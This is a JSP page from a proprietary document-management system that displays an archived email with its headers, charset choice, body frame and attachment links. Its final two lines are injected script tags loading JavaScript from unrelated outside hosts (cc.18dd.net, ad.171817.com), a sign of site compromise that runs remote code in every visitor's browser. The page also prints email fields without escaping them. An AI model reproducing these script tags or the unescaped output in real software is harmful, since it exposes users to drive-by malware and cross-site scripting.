<%
  /*
   * @(#)ViewMatchRuleEmail.jsp
   *
   * Copyright (c) 2006 DCIVision Ltd
   * All rights reserved.
   *
   * This software is the confidential and proprietary information of
   * DCIVision Ltd ("Confidential Information").  You shall not
   * disclose such Confidential Information and shall use it only in
   * accordance with the terms of the license agreement you entered into
   * with DCIVision Ltd.
   */
 
  /**

   ViewMatchRuleEmail.jsp

   This is a MatchedRuleEmail page.  It shows the email message.

   @author             greatwall shao
   @company            DCIVision Ltd
   @creation date      200-11-16
*/

%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %> 
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/dms" prefix="dms" %> 
<%@ taglib uri="/tags/layout" prefix="layout" %> 

<%@ page import="com.dcivision.user.bean.*"%> 
<%@ page import="java.sql.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*"%>
<%@ page import="javax.mail.internet.*"%>
<%@ page import="javax.mail.internet.MimeUtility.*"%>
<%@ page import="javax.mail.*"%>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>  
<%@ page import="com.dcivision.mail.core.*"%>
<%@ page import="com.dcivision.mail.bean.*"%> 
<%@ page import="com.dcivision.dms.DmsOperationConstant"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="java.util.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<jsp:useBean id="maintMailSettingForm" scope="request" class="com.dcivision.mail.web.MaintMailSettingForm"/>
<html:form type="maintMailSettingForm"  action="/dms/MaintEmailArchive.do"> 
<%
try{  
  String mailID = maintMailSettingForm.getMailID(); 

  EmailMessage dm=null;
  if (request.getAttribute("emailMessage") != null){
    dm = (EmailMessage)request.getAttribute("emailMessage"); 
  }


%>
<script language ="javascript">
  PreloadImages('<html:img src="Uploading.gif" pathOnly="true"/>');
  var flowWindow = null;
  var clickedFlag = false;
  var targetAction = ''; 

  function viewEmailDetail(viewMailID){
    var popupWin=0;
    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {
      document.maintMailSettingForm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');

      document.maintMailSettingForm.mailID.value=viewMailID;
      document.maintMailSettingForm.opMode.value="";
      document.maintMailSettingForm.navMode.value="ARCHIVE_DMS_EMAIL";
      document.maintMailSettingForm.submit(); 

      clickedFlag = true;
      return false; 
    }
  }

  function saveEmailMessage(){   
    if(document.maintMailSettingForm.isSave.value!=""){
      alert("this Email already saved to DMS");
      return;
    }
    if(document.maintMailSettingForm.targetPath.value==""){
      alert("<bean:message key='errors.dms.target_location'/>");
      return;
    }  

    if(document.maintMailSettingForm.basicSelectedID.checked){
      document.maintMailSettingForm.action = '<%=request.getContextPath()%>/dms/MaintEmailArchive.do?opMode=SaveEmailWithSelectedAttachments';
      document.maintMailSettingForm.submit(); 
    }else{ 
      document.maintMailSettingForm.action = '<%=request.getContextPath()%>/dms/MaintEmailArchive.do?opMode=SaveAttachment';
      document.maintMailSettingForm.submit(); 
    }
  } 
  function setFalse(targetObject){   
    targetObject.checked = false; 
  }

  
</script> 

    <html:hidden property="opMode"/>
    <html:hidden property="navMode"/>
    <html:hidden property="mailID"/>
    <html:hidden property="closeFlag" value="0"/>
<%
  String sCurFunctionCode = maintMailSettingForm.getCurFunctionCode()==null? SystemFunctionConstant.DMS_EMAIL_ARCHIVE : maintMailSettingForm.getCurFunctionCode();
  String functionType ="dms.label.view_email_message";

%>
      <layout:titleFormat><font class="pageTitle"><layout:pageTitle  functionCode="<%=sCurFunctionCode%>" displayActionStr="false" functionType="<%=functionType%>"/></font>
      <layout:returnButton>
         ListDmsEmailArchive.do?navMode=L
      </layout:returnButton> 
      </layout:titleFormat>
      <table cellpadding="0" cellspacing="0" border="0" width="100%">
        <tr>
          <td>
            <br>
            <html:errors/>
            <html:messages/>
          </td>
        </tr>
      </table>      
      <TABLE CELLSPACING=0 WIDTH="97%" BORDER=0 ALIGN=CENTER CELLPADDING=0>
        <tr>
          <td>&nbsp;
            
          </td>
        </tr>
        <tr>
          <td>
            <TABLE CELLSPACING="0" WIDTH="100%" BORDER="0" ALIGN="CENTER" CELLPADDING="3"> 
              <TR > 
                <TD BGCOLOR="#DCDCDC" WIDTH="7%" ALIGN="right" VALIGN="top">
                  <bean:message key='dms.label.email_archive.message_subject'/>:&nbsp; 
                </td>
                <TD BGCOLOR="#DCDCDC" VALIGN="top"> 
                  <B>
                    <%=dm.getSubject()%> 
                  </B>            
                </td> 
                <TD BGCOLOR="#DCDCDC" VALIGN="top">&nbsp; 
                </td> 
              </tr>
              <tr>
                <TD BGCOLOR="#DCDCDC" WIDTH="7%" ALIGN="right" VALIGN="top">
                  <bean:message key='dms.label.email_archive.message_from'/>:&nbsp;  
                </td> 
                <TD BGCOLOR="#DCDCDC" VALIGN="top" colspan='3'> 
                  <B>
                    <%=dm.getSender()%>
                  </B>
                </td> 
              <tr> 
                <TD BGCOLOR="#DCDCDC" WIDTH="7%" ALIGN="right" VALIGN="top"> 
                  <bean:message key='dms.label.email_archive.message_send_date'/>:&nbsp;   
                </td>
                <TD BGCOLOR="#DCDCDC" VALIGN="top" colspan='3'> 
                  <B>
                    <%=dm.getSendDate()==null?"":dm.getSendDate().toString()%>
                  </B>
                </td>  
              </tr>  
              <tr> 
                <TD BGCOLOR="#DCDCDC" WIDTH="7%" ALIGN="right" VALIGN="top"> 
                  <bean:message key='dms.label.email_archive.message_to'/>:&nbsp;   
                </td>
                <TD BGCOLOR="#DCDCDC" VALIGN="top" colspan='3'> 
                  <B>
                                   <%=dm.getTo()%><br>
                  </B>
                </td>  
              </tr>  
              <tr> 
                <TD BGCOLOR="#DCDCDC" WIDTH="7%" ALIGN="right" VALIGN="top"> 
                  <bean:message key='dms.label.email_archive.message_cc'/>:&nbsp;   
                </td>
                <TD BGCOLOR="#DCDCDC" VALIGN="top" colspan='3'> 
                  <B>
                   <%=dm.getCc()%>
                  </B>
                </td>  
              </tr>  
              <tr> 
                <TD BGCOLOR="#DCDCDC" WIDTH="16%" ALIGN="right" VALIGN="top"> 
                  <bean:message key='dms.label.email_archive.content_encoding'/>:&nbsp;   
                </td>
                <TD BGCOLOR="#DCDCDC" VALIGN="top" colspan='3'> 
                  <B>
                       <select name = "charset" onchange = "replaceIframe(this.value)"> 
					   <option value = "" <%if("".equals(maintMailSettingForm.getCharset())) {%>selected  <%}%>>UTF-8</option>
					   <option value = "BIG5"  <%if( "BIG5".equals(maintMailSettingForm.getCharset())) {%>selected  <%}%>>BIG5</option>
					   <option value = "GB2312"  <%if( "GB2312".equals(maintMailSettingForm.getCharset())) {%>selected  <%}%>>GB2312</option>
					   </select>
                  </B>
                </td>  
              </tr>  
            </table>
          </td> 
        </tr> 
        <tr>
        <td colspan='2'> 
          <br>
<!-- Mail  Content-->
        <%
         String bodyContent ="";
         if(dm!=null&&dm.getContent() != null){
            bodyContent = dm.getContent().toString();
         }
       %>
<script language="javascript">
    var divHeight = GetInnerHeight() - 400;
    var divWidth = GetInnerWidth() - 200;
    if (true) {
      document.write('<iframe id = "emailContent"  src = "MaintEmailArchive.do?navMode=VIEW_EMAIL_CONTENT&mailID=<%=mailID%>" height= '+divHeight+'  width = '+divWidth+' ></iframe>');
    }

  function replaceIframe(charset){   
    var emailContent = FindObj("emailContent");
    if(emailContent){
      emailContent.src = "MaintEmailArchive.do?navMode=VIEW_EMAIL_CONTENT&mailID=<%=mailID%>&charset="+charset;
    }


 // document.maintMailSettingForm.action = '<%=request.getContextPath()%>/dms/MaintEmailArchive.do?navMode=VIEW_EMAIL_CONTENT&mailID=<%=mailID%>&charset='+charset;
 // document.maintMailSettingForm.submit(); 


  }
</script>

        </td>
      </tr> 
      <tr>
        <td>
          <TABLE CELLSPACING="0" WIDTH="100%" BORDER="0" ALIGN="CENTER" CELLPADDING="3"> 
            <%  
			  List attachmentList = dm.getAttachments() ==null ?new ArrayList(): dm.getAttachments();
              try{
                if(attachmentList!=null&&attachmentList.size()>0){
            %>
            <tr>
              <TH ALIGN="left" BGCOLOR="#ABABAB" colspan='3'><B><bean:message key='dms.label.email_archive.attachment_file'/><%=attachmentList.size()%></TH>
            </tr>  
            <% 
              for(int i=0;i<attachmentList.size();i++){
                  EmailAttachment emailAttachment = (EmailAttachment)attachmentList.get(i); 
                  String contentId = emailAttachment.getContentID(); 
            %>
            <tr BGCOLOR="#DCDCDC">
              <td>  
                <input type="checkbox" name="attachment" value="<%=i%>" checked=true"> 
              </td>
              <td>
                       <a href="<%=request.getContextPath()%>/dms/emailArchiveGetImage?catchFileName=<%=emailAttachment.getCatchFileName()%>&attachFileName=<%=emailAttachment.getAttachFileName()%>&download=true" target ="_bland"><%=MimeUtility.decodeText(emailAttachment.getAttachFileName())%></a>
              </td>
              <td>&nbsp; 
                
              </td>
            </tr>
            <% 
               }
             }
          }catch(Exception ex){
             LogFactory.getLog(this.getClass()).error(ex, ex);
		  }
            %> 
          </table>
        </td>
      </tr>
    </table> 
<%}catch (Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
</html:form> 


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>